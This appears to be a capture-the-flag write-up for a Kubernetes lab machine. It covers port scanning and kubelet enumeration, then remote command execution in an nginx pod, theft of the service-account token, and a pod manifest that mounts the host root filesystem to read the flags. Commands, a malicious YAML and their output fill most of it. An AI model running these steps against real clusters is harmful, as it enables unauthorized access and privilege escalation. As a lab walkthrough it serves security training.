# 0x1 Scan

### I found these ports

- 22 SSH
- 2379 SSL/etcd-client
- 2380 SSL/etcd-server
- 8443 SSL/https-alt
- 10249 HTTP
- 10250 **SSL/HTTP**
- 10256 HTTP

```
sec/offsec git:(master) ➤ rustscan --ulimit 1000 -a 10.10.11.133 -- -sC -sV -Pn --script=default
                          \mathcal{H}
The Modern Day Port Scanner.
 https://discord.gg/GFrQsGy
 https://github.com/RustScan/RustScan
 😵 https://admin.trvhackme.com
[~] The config file is expected to be at "/home/ghost/.rustscan.toml"
 {	t [\sim]} Automatically increasing ulimit value to 1000.
   File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.133:22
Open 10.10.11.133:2380
Open 10.10.11.133:2379
Open 10.10.11.133:8443
Open 10.10.11.133:10249
Open 10.10.11.133:10250
Open 10.10.11.133:10256
 ~] Starting Script(s)
 > Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
```

```
PORT
         STATE SERVICE
                                REASON VERSION
22/tcp
                                syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
         open ssh
 ssh-hostkey:
   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu4TNCZjLe74tZ0HyspkMaghndsvuXkZJa4lJBt9arqgkm6u2
Ga6jU5KmGzIQz6SQR3Bv6IYLDwzNJ0nHNZ3jxSbFS3SsmTwK749GJLrv62wAf4uUL/Ihynl8cCG5aor6T0Fk44v/9
   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHVj7iKnl8SWdGz
   256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHXIZpU9XbtZ2zvx8rFEYTfGp+8JCJx5lSiRNEcqUFG8
2379/tcp open ssl/etcd-client? syn-ack
 tls-alpn:
  h2
| ssl-cert: Subject: commonName=steamcloud
 Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Ad
 Issuer: commonName=etcd-ca
 Public Key type: rsa
 Public Key bits: 2048
 Signature Algorithm: sha256WithRSAEncryption
 Not valid before: 2023-03-14T15:29:17
 Not valid after: 2024-03-13T15:29:17
        e108 7d1d 149b 3b6a 8ff8 7452 d702 4f27
 SHA-1: 0291 a049 3ce2 ea17 c9eb 760a 2c3a bad3 a99e f205
 ----BEGIN CERTIFICATE----
 MIIDSzCCAjOgAwIBAgIIfcS6QEv7gZYwDQYJKoZIhvcNAQELBQAwEjEQMA4GA1UE
 AxMHZXRjZC1jYTAeFw0yMzAzMTQxNTI5MTdaFw0yNDAzMTMxNTI5MTdaMBUxEzAR
 BgNVBAMTCnN0ZWFtY2xvdWQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
 AQD192kPdx92NPvtCcvypKha80KSh90E/h6fsb5j1wuJdqoWq6UFFmVjXfDRg+7R
 bLA1EROW1gfrNxjA7H07jLhcmj2aWwl9ZzYKvigOHlVFsDNnhYszE8rFEVFWd2w3
 +YmIyUbdFUun9XKqSufyN0YijRJ3eJ0Q40yr0ETG1GFaZWNQYsMSDBvBvfVa+Hlx
 rlKRqSw/Tvhb8pYR0ZYqDSvze5+7bHc/Id2Sg6c0H6tmKwacLpG1RkXFtud9Uv07
 P06qgs0H24CJ7eEwlSoIZjohatxACks0cLvnCaXLVGmcxAe9MlJAyostc4JrQwHo
 dKUlgo3knI9bK4uRcakS7Is3AgMBAAGjgaEwgZ4wDgYDVR0PAQH/BAQDAgWgMB0G
 A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB8GA1Ud
 IwQYMBaAFH3Ih45yW3wfRlkmtqKUqXu7F8quMD4GA1UdEQQ3MDWCCWxvY2FsaG9z
 hkiG9w0BAQsFAAOCAQEAiR38XQOvn+KAWREybErVw6pmXgS2Wk1exPsU6REM1Bkx
```

```
| B/Znimjes2/KF3coQxegbC6EKEJ4/SICUC19XUIPN9/YTAOBLBeE19CW9g1FJ/Y1
| cAoSBhIx3L58pWChW45DGRK1QPtR2XMYNDofeFX6ruVV1zX0mQ2P2VHKqqtunThV
| LqadP5+EYWEh2lZ+j4KP3Ug32J0xHxZQK0d2s14uCB4kgGcRcggoG3aJBat5T8Hn
| uINyHHx3ii0kqrWIzkbP6LV2CW1ChAq43korH2rf+vvlv2PtJxU/Hi3e4XQX34Kr
| U3c4+povxe0ZYklEko64A94HQmWzdWkkG8ZMVZ7MYA==
|_----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
```

```
2380/tcp open ssl/etcd-server? syn-ack
| tls-alpn:
  h2
 ssl-cert: Subject: commonName=steamcloud
  Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:0:1
 Issuer: commonName=etcd-ca
 Public Key type: rsa
 Public Key bits: 2048
  Signature Algorithm: sha256WithRSAEncryption
 Not valid before: 2023-03-14T15:29:17
 Not valid after: 2024-03-13T15:29:18
 MD5: 8575 5db5 6536 a080 1741 14a8 d119 3b83
 SHA-1: 8fbd 125f 1252 41f5 ebeb fce4 e339 1dc5 8ebb 4046
  ----BEGIN CERTIFICATE----
 MIIDSzCCAjOgAwIBAgIIXPaSq9BMergwDQYJKoZIhvcNAQELBQAwEjEQMA4GA1UE
  AxMHZXRjZC1jYTAeFw0yMzAzMTQxNTI5MTdaFw0yNDAzMTMxNTI5MThaMBUxEzAR
  BgNVBAMTCnN0ZWFtY2xvdWQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
  AQDm4gVfrvj16UxRHwmw3sMxwIAnwd8K2PnuREMKdy0y8tpaEsVVvZeAkzIibf9m
  gB68Dnx6zgmIgyWHxFIIKSq/vb554UHNF7XlRJrQ5rLqr3AjwU+Idj6K9gEAactU
  Q5QNTEVjuDxyb9uzSLYI0XNaP3Qbc7bZU/8r3QKmNRiCl+ViAbgyEDS8jDErrszU
  WvGkIOZesoAucZekKeefqMxzwKl2/qW0Nsa78dFB0yPQ4xXxuTvqtBXw60Xn87BZ
  HT9dT+SbAWtHWSQ0i34RaluBRgxnhrnIzdXAmP2NdVIaTQ0oN/k+muy/peU5hm0v
  wYWLKkCcwlPVByKI4UZARoxjAgMBAAGjgaEwgZ4wDgYDVR0PAQH/BAQDAgWgMB0G
  A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB8GA1Ud
  IwQYMBaAFH3Ih45yW3wfRlkmtqKUgXu7F8guMD4GA1UdEQQ3MDWCCWxvY2FsaG9z
 hkiG9wOBAQsFAAOCAQEAG49VagTs8BIC73Mp+AmvtIuALuyhjEMkvO+jIFn4/cWr
  Rb0Z0xDBeLylUZ2XS6EklEfVdrtFJ+IJMgVkugfY/tkFjtA/MpZz4aVanagtu0w+
  PYZEVsvjt7KATYHMGGh/4rr+zuKFJMBIJT7wIA8yWXgSHMneYK2PT6pWISQod3n6
  FSttLg1k7PRQ77llqtxQccBCSanob9JoTvGRTBB1WFRJGKoy3Z43TiN5ZHeN0FAa
 ONN56IBlu04jrwyHhZQ4ckWslCkZOrci5sPtWMrf351J0LUblLNNyNk+Mejx32DB
  hHCrrUCVcnTbvemlbnBQf/4q002FVsJnrXSaX0r+gw=
   ----END CERTIFICATE---
  ssl-date: TLS randomness does not represent time
```

```
8443/tcp open ssl/https-alt syn-ack
 fingerprint-strings:
    FourOhFourRequest:
      HTTP/1.0 403 Forbidden
     Audit-Id: 64bbc125-327a-453e-97b1-457512511bff
      Cache-Control: no-cache, private
     Content-Type: application/json
     X-Content-Type-Options: nosniff
     X-Kubernetes-Pf-Flowschema-Uid: b18c80fc-ad45-4e03-a1e9-e854ed463104
     X-Kubernetes-Pf-Prioritylevel-Uid: 7bee65c9-e23a-49f8-973d-9cb24aa4d34e
     Date: Tue, 14 Mar 2023 15:30:12 GMT
     Content-Length: 212
     {"kind":"Status", "apiVersion":"v1", "metadata":{}, "status":"Failure", "message":"fo
    GetRequest:
     HTTP/1.0 403 Forbidden
     Audit-Id: cd2a4b84-1743-4263-98bd-8b7bb706efd2
     Cache-Control: no-cache, private
     Content-Type: application/json
     X-Content-Type-Options: nosniff
     X-Kubernetes-Pf-Flowschema-Uid: b18c80fc-ad45-4e03-a1e9-e854ed463104
     X-Kubernetes-Pf-Prioritylevel-Uid: 7bee65c9-e23a-49f8-973d-9cb24aa4d34e
     Date: Tue, 14 Mar 2023 15:30:12 GMT
     Content-Length: 185
     {"kind":"Status", "apiVersion":"v1", "metadata":{}, "status":"Failure", "message":"fo
    HTTPOptions:
     HTTP/1.0 403 Forbidden
     Audit-Id: 82e45f96-046c-4f2a-aff7-4d889484fbca
     Cache-Control: no-cache, private
     Content-Type: application/json
     X-Content-Type-Options: nosniff
     X-Kubernetes-Pf-Flowschema-Uid: b18c80fc-ad45-4e03-a1e9-e854ed463104
     X-Kubernetes-Pf-Prioritylevel-Uid: 7bee65c9-e23a-49f8-973d-9cb24aa4d3
     Date: Tue, 14 Mar 2023 15:30:12 GMT
     Content-Length: 189
     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"fo
|_http-title: Site doesn't have a title (application/json).
| tls-alpn:
   h2
|_ http/1.1
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:ku
ress:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
```

```
syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10249/tcp open http
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
                          syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10250/tcp open ssl/http
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1678807760
 Subject Alternative Name: DNS:steamcloud
 Issuer: commonName=steamcloud-ca@1678807760
 Public Key type: rsa
 Public Key bits: 2048
 Signature Algorithm: sha256WithRSAEncryption
 Not valid before: 2023-03-14T14:29:20
 Not valid after: 2024-03-13T14:29:20
 MD5: b599 aad1 e561 1791 02d3 136b 2e47 6d3a
 SHA-1: 865b 7e30 0766 39a7 69ce 0079 0247 1e6a c828 4174
 ----BEGIN CERTIFICATE----
 MIIDKzCCAhOgAwIBAgIBAjANBgkqhkiG9w0BAQsFADAjMSEwHwYDVQQDDBhzdGVh
 bWNsb3VkLWNhQDE2Nzg4MDc3NjAwHhcNMjMwMzE0MTQy0TIwWhcNMjQwMzEzMTQy
 OTIwWjAgMR4wHAYDVQQDDBVzdGVhbWNsb3VkQDE2Nzg4MDc3NjAwggEiMA0GCSqG
 SIb3DQEBAQUAA4IBDwAwqqEKAoIBAQDjHqlKydNSIBJ+1vNTq00pA4fl0s+1n4IU
 Nvv5nAQlyBeID17ZtNK1UmvVp7VJhCr7ZfZd1hoJCfIhbPpyKBhTu0nqTng+QW27
 PLeiqGOLNhzTjq4cHjdvpdUu+qVAz06aQj0h0qkRs6cZ74/0x6v3SbLmisUEqIV3
 eV3qy0FTLWNcZuX9TZcH9uQpwT9hcLjVmWq/oe9fQNsGfvu98vPelZ3MLimhhbSy
 y0CG7mZsuIszF2ofHdmIbnT1x73SICt8amSjWZqDsmJbXP06PTcGNkv+1DR2vGpy
 xHWNRT8niBf3wJwiD11PR9D+We5mgJG4T8qZXjLeaXXCdIgdP02DAgMBAAGjbTBr
 MA4GA1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8E
 AjAAMB8GA1UdIwQYMBaAFBruwszY9ei5WLzHpU0NNA1QjGpMMBUGA1UdEQQ0MAyC
 CnN0ZWFtY2xvdWQwDQYJKoZIhvcNAQELBQADggEBACZXxuHlI+ZsgRcoaow5HGBE
 nfgunEWV9WjQzkeavnly+swCVPcdC8oSFLT50L6GRiytJXyjcYG9oD1x36nhls3E
 qJ30a1Ten032Kv3/NcWo+CmnwGyXUQDSFduNscT/5HnqIZqe5DXcosy3Twt7dsTk
 uJmccVnU8DMKYzJWz0iEz9le04dPcSDs8LQd1d+NuMPe5c2ZcF/1syH1xMnpttPf
 zVdSs9UyQDqCqeqqA7MKxuQ7Uz93NkV9diERZQu0iu5x7C4aAMJEwG95KjvNrWtt
 KDRHYXm6CzajzsSSbNWxfQfQSiXOrZVRxqp812fFjjGYptW/ZwQU7TDSa8XMe4U=
 ----END CERTIFICATE----
 tls-alpn:
   h2
   http/1.1
_ssl-date: TLS randomness does not represent time
```

```
10256/tcp open http
                                  syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the f
SF-Port8443-TCP:V=7.92%T=SSL%I=7%D=3/14%Time=641092F4%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,22F,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20cd2a4
SF:b84-1743-4263-98bd-8b7bb706efd2\r\nCache-Control:\x20no-cache,\x20priva
SF:te\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20n
SF:osniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20b18c80fc-ad45-4e03-a1e9-e8
SF:54ed463104\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x207bee65c9-e23a-49f8-
SF:973d-9cb24aa4d34e\r\nDate:\x20Tue,\x2014\x20Mar\x202023\x2015:30:12\x20
SF:GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Status\",\"apiVersion\
SF:":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden
SF::\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/
SF:\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(HTTP
SF:Options,233,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x2082e45f96-046
SF:c-4f2a-aff7-4d889484fbca\r\nCache-Control:\x20no-cache,\x20private\r\nC
SF:ontent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosniff\
SF:r\nX-Kubernetes-Pf-Flowschema-Uid:\x20b18c80fc-ad45-4e03-a1e9-e854ed463
SF:104\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x207bee65c9-e23a-49f8-973d-9c
SF:b24aa4d34e\r\nDate:\x20Tue,\x2014\x20Mar\x202023\x2015:30:12\x20GMT\r\n
SF:Content-Length:\x20189\r\n\r\n{\"kinû\":\"Status\",\"apiVersion\":\"v1\
SF:",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x20Us
SF:er\x20\\\"system:anonymous\\\"\x20cannot\x20options\x20path\x20\\\"/\\\
SF:"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(Four0hF
SF:ourRequest,24A,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x2064bbc125-
SF:327a-453e-97b1-457512511bff\r\nCache-Control:\x20no-cache,\x20private\r
SF:\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosni
SF:ff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20b18c80fc-ad45-4e03-a1e9-e854ed
SF:463104\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x207bee65c9-e23a-49f8-973d
SF:-9cb24aa4d34e\r\nDate:\x20Tue,\x2014\x20Mar\x202023\x2015:30:12\x20GMT\
SF:r\nContent-Length:\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"
SF:v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\<sup>"</sup>forbidden:\x2
SF:0User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/nice
SF:\x20ports,/Trinity\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"details\"
SF::{},\"code\":403}\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## 0x2 Kubernetes

### 8443

I use Python script to check.

```
nvthon
       import requests
  1
       import urllib3
  2
  3
       urllib3.disable_warnings()
  5
       host = "https://10.10.11.133:8443/"
  6
       headers = {'Content-Type':'application/json'}
  7
  8
       reg = requests.get(host, verify=False)
  9
       res = req.text
 10
  11
```

### 10250

It seems like Kubernetes API. I use dirsearch to brute force the directory.

```
11 offsec/steamcloud git:(master) ▶ dirsearch -u https://10.10.11.133:10250/ -e\*
                                 v0.4.3
 Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14991
Output: /home/ghost/Documents/work/sec/offsec/steamcloud/reports/https_10.10.11.133_10250/__23-03-15_12-07-55.txt
Target: https://10.10.11.133:10250/
[12:07:55] Starting:
[12:07:55] 301 - 46B - /%2e%2e//google.com → /google.com
[12:07:59] 301 - 46B - /.%2e/%2e%2e/%2e%2e/etc/passwd → /etc/passwd
                       19B - /attach
[12:09:15] 404 -
[12:09:17] 301 -
                        54B - /axis//happyaxis.jsp → /axis/happyaxis.jsp
[12:09:17] 301 - 65B - /axis2//axis2-web/HappyAxis.jsp \rightarrow /axis2/axis2-web/HappyAxis.jsp
[12:09:17] 301 - 59B - /axis2-web//HappyAxis.jsp → /axis2-web/HappyAxis.jsp
[12:09:25] 301 - 46B - /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd → /etc/passwd
                       87B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js \rightarrow /Citrix/AccessPlatform/auth/clientscripts/cookies.js 48B - /debug/pprof \rightarrow /debug/pprof/
[12:09:27] 301 -
[12:09:39] 301 -
                      63KB - /debug/pprof/goroutine?debug=1
111KB - /debug/pprof/heap
 [12:09:39] 200 -
[12:09:39] 200 -
[12:09:39] 404 - 19B - /debug/pprof/
[12:09:40] 200 - 117KB - /debug/pprof/trace
[12:09:45] 301 - 74B - /engine/classes/swfupload/swfupload.swf → /engine/classes/swfupload/swfupload.swf
[12:09:45] 301 - 74B - /engine/classes/swfupload/swfupload.f9.swf
[12:09:45] 301 - 77B - /engine/classes/swfupload/swfupload_f9.swf
[12:09:48] 404 - 19B - /execurees/kebants.swf
[12:09:49] 301 - 62B - /extjs/resources//charts.swf \rightarrow /extjs/resources/charts.swf
[12:10:00] 301 -
                       72B - /html/js/misc/swfupload//swfupload.swf → /html/js/misc/swfupload/swfupload.swf
 12:10:14] 200 -
                       41B - /logs → /logs/
[12:10:14] 301 -
[12:10:20] 200 - 179KB - /metrics
[12:10:40] 200 - 37KB - /pods
[12:10:51] 404 - 19B - /run
[12:11:04] 404 - 19B - /stats/
[12:11:04] 301 - 42B - /stats → /stats/
Task Completed
∃ offsec/steamcloud git:(master) ►
```



pods might contain the pod logs, but I do not find anything meaningful inside.

```
↑ https://10.10.11.133:10250/log × +

← → C ↑ Not secure | https://10.10.11.133:10250/logs/pods/

default_nginx_c4dc4e14-688e-4088-921f-04a56f47dc82/
kube-system_coredns-78fcd69978-phl22_fba67433-7432-4af0-80ec-7924c697d791/
kube-system_etcd-steamcloud_967b9bee7lf2e3cec06ff1dbde2a2a19/
kube-system_kube-apiserver-steamcloud_c1926d0465cd9de10197b95a2c359105/
kube-system_kube-controller-manager-steamcloud_be2478237d1af444b624cb01f51f79c4/
kube-system_kube-proxy-f274b_7d50c005-c137-48fe-a143-0123d73d3600/
kube-system_kube-scheduler-steamcloud_3232b72c69e9f8bf518a7d727d878b27/
kube-system_storage-provisioner_8a68d71c-16f0-4976-bafa-50c4673feaa4/
```

### **Kubeletctl**

I use Kubeletctl to interact with Kubernetes API.

<pre>= offsec/steamcloud git:(master) ► kubeletctlserver 10.10.11.133 pods</pre>							
Pods from Kubelet							
	POD	NAMESPACE	CONTAINERS				
1	kube-proxy-f274b	kube-system	kube-proxy				
2	storage-provisioner	kube-system	storage-provisioner				
3	coredns-78fcd69978-phl22	kube-system	coredns				
4	nginx	default	nginx				
5	etcd-steamcloud	kube-system	etcd				
6	kube-apiserver-steamcloud	kube-system	kube-apiserver				
7	kube-controller-manager-steamcloud	kube-system	kube-controller-manager				
8	kube-scheduler-steamcloud	kube-system	kube-scheduler				
= offsec/steamcloud git:(master) ▶   □							

Then I check which servers can run a command.

<pre>= offsec/steamcloud git:(master) ➤ kubeletctlserver 10.10.11.133 scan rce</pre>								
Node with pods vulnerable to RCE								
	NODE IP	PODS	NAMESPACE	CONTAINERS	RCE			
					RUN			
1	10.10.11.133	kube-apiserver-steamcloud	kube-system	kube-apiserver	-			
2		kube-controller-manager-steamcloud	kube-system	kube-controller-manager	-			
3		kube-scheduler-steamcloud	kube-system	kube-scheduler	-			
4		kube-proxy-f274b	kube-system	kube-proxy	+			
5		storage-provisioner	kube-system	storage-provisioner	-			
6		coredns-78fcd69978-phl22	kube-system	coredns	-			
7		nginx	default	nginx	+			
8		etcd-steamcloud	kube-system	etcd	-			
<pre>= offsec/steamcloud git:(master) ▶ []</pre>								

Then I execute command on *nginx* pod

### user.txt

```
= offsec/steamcloud git:(master) ► kubeletctl --server 10.10.11.133 -p nginx -c nginx exec "ls /root"
user.txt
= offsec/steamcloud git:(master) ► kubeletctl --server 10.10.11.133 -p nginx -c nginx exec "cat /root/user.txt"
ef33b9bd3a059be7be3b4785396f194e
= offsec/steamcloud git:(master) ► []
```

### Reverse shell

The *sh* or *bash* reverse shells are not working. There's no *python* either. We can learn about pentesting Kubernetes here

<a href="https://hacktricks.boitatech.com.br/pentesting/pentesting-kubernetes#architecture">https://hacktricks.boitatech.com.br/pentesting/pentesting-kubernetes#architecture</a>

 https://hacktricks.boitatech.com.br/pentesting/pentestingkubernetes/enumeration-from-a-pod

Basically the goal is to

- get access to the token for authentication, and the certificates
- then using it create a service account with higher privilege

I check the folder from the link I mentioned above and read the secrets.

```
E offsac/steacloud giti(master) > Nobelecti --server 10.10.11.133 -p nginx -c nginx exec "La /run/secrets/kubernetes.io/serviceaccount"

G. cot . namespace token

G. cot . na
```

It works.

But it seems this account does not have enough permission.

I check permission.

```
fsec/steamcloud git:(master) ▶ kubectl --server https://10.10.11.133:8443 --token=$token --certificate-authority=nginx/ca.crt auth can-i --list
                                                       Non-Resource URLs
                                                                                                  Resource Names
                                                                                                                     Verbs
selfsubjectaccessreviews.authorization.k8s.io
                                                                                                                      [create]
selfsubjectrulesreviews.authorization.k8s.io
                                                                                                                      [create]
                                                                                                                      [get create list]
[get]
                                                       [/.well-known/openid-configuration]
[/api/*]
                                                                                                                      [get]
                                                       [/api]
                                                                                                                      [get]
                                                       [/apis/*]
[/apis/*]
[/apis]
[/healthz]
                                                                                                                      [get]
                                                                                                                      [get]
                                                                                                                      [get]
                                                       [/healthz]
                                                                                                                      [get]
                                                       [/livez]
                                                       [/livez]
                                                       [/openapi/*]
                                                       [/openapi]
[/openid/v1/jwks]
[/readyz]
                                                       [/readyz]
                                                       [/version/]
                                                       [/version/]
                                                       [/version]
                                                       [/version]
 offsec/steamcloud git:(master) ▶ [
```

According to the permissions, the third one

• it says I can *get*, *create*, *list* pods

So what I am going to do is

- Read nginx config to see what image is available to use
- Use that image to create a pod
- Inside the pod, mount /root

```
apiVersion: v1
kind: Pod
metadata:
 name: ghost
 namespace: default
spec:
  containers:
  - name: ghost
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: pwned
 volumes:
  - name: pwned
    hostPath:
      path: /
  automountServiceAccountToken: true
 hostNetwork: true
```

#### Then I create a pod.

```
E offsec/steamcloud git:(master) ► nv pwn.yaml

offsec/steamcloud git:(master) ► kubectl --server https://10.10.11.133:8443 --token=$token --certificate-authority=nginx/ca.crt apply -f pwn.yaml

pod/ghost created

offsec/steamcloud git:(master) ► kubectl --server https://10.10.11.133:8443 --token=$token --certificate-authority=nginx/ca.crt get pods

NAME READY STATUS RESTARTS AGE

ghost 1/1 Running 0 7s

nginx 1/1 Running 0 5h23m

offsec/steamcloud git:(master) ►
```

### root.txt

```
offsec/steamcloud git:(master) ▶ kubeletctl --server 10.10.11.133 -p ghost -c ghost exec id
uid=0(root) gid=0(root) groups=0(root)
bin home
                  lib32
                           media root sys vmlinuz
boot initrd.img lib64 mnt
dev initrd.img.old libx32 opt
boot initrd.img
                            mnt run tmp vmlinuz.old
                                  sbin usr
etc lib
                  lost+found proc srv var

≡ offsec/steamcloud git:(master) ► kubeletctl --server 10.10.11.133 -p ghost -c ghost exec 'ls /root/root'

≡ offsec/steamcloud git:(master) ► kubeletctl --server 10.10.11.133 -p ghost -c ghost exec 'cat /root/root/root.txt'

7c87d7909d0c47a404686f2ab18230e1
= offsec/steamcloud git:(master) ►
```